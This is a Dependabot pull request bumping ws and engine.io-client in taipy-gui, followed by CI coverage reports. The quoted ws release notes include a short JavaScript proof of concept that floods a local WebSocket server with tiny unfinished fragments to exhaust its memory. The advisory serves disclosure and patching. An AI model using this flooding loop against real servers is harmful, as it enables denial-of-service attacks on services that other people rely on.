Bump ws and engine.io-client in /frontend/taipy-gui

[dependabot]

Bumps ws and engine.io-client. These dependencies needed to be updated together.
Updates ws from 8.20.0 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• 5d9b316 [dist] 8.20.1
• c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
• ce2a3d6 [ci] Test on node 26
• 58e45b8 [ci] Do not test on node 25
• 5f26c24 [ci] Run the lint step on node 24
• See full diff in compare view

Updates engine.io-client from 6.6.4 to 6.6.5

Release notes

Sourced from engine.io-client's releases.

engine.io-client@6.6.5

The ws dependency was bumped to ~8.20.1 following CVE-2026-45736.

Note from the ws maintainers:

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Dependencies

• ws@~8.20.1 (diff)

Commits

• 8413bce chore(release): engine.io-client@6.6.5
• c10fe07 refactor(eio-client): improve JSDoc documentation
• 9349b14 refactor(eio-client): remove unused import
• ffe51e2 chore(release): engine.io@6.6.8
• f86b95f fix(eio): clean up resources upon WebTransport handshake failure
• 4276e59 refactor(eio): fix typo in the cookie option
• 5257ef9 chore(deps): upgrade to ws@8.20.1 (#5439)
• 439a8f6 chore(release): engine.io@6.6.7
• fc11285 fix(eio): close HTTP requests with invalid content type
• b059af6 refactor(eio): use plain IncomingMessage in the public API
• Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  You can disable automated security fix PRs for this repo from the Security Alerts page.

[github-actions]

Coverage report for ./frontend/taipy-gui

Caution

Coverage does not meet threshold
Branches coverage not met for global: expected >=80%, but got 77.8201219512195%

St.❔	Category	Percentage	Covered / Total
🟢	Statements	87.53%	13122/14992
🟡	Branches	77.82%	2042/2624
🟢	Functions	85.45%	229/268
🟢	Lines	87.53%	13122/14992

Test suite run success

794 tests passing in 51 suites.

Report generated by 🧪jest coverage report action from dc578c1

[github-actions]

Coverage report for ./frontend/taipy

Caution

Coverage does not meet threshold
Statements coverage not met for global: expected >=80%, but got 63.850574712643684%

St.❔	Category	Percentage	Covered / Total
🟡	Statements	63.85%	1111/1740
🔴	Branches	34.78%	24/69
🔴	Functions	14.29%	5/35
🟡	Lines	63.85%	1111/1740

Test suite run success

7 tests passing in 1 suite.

Report generated by 🧪jest coverage report action from dc578c1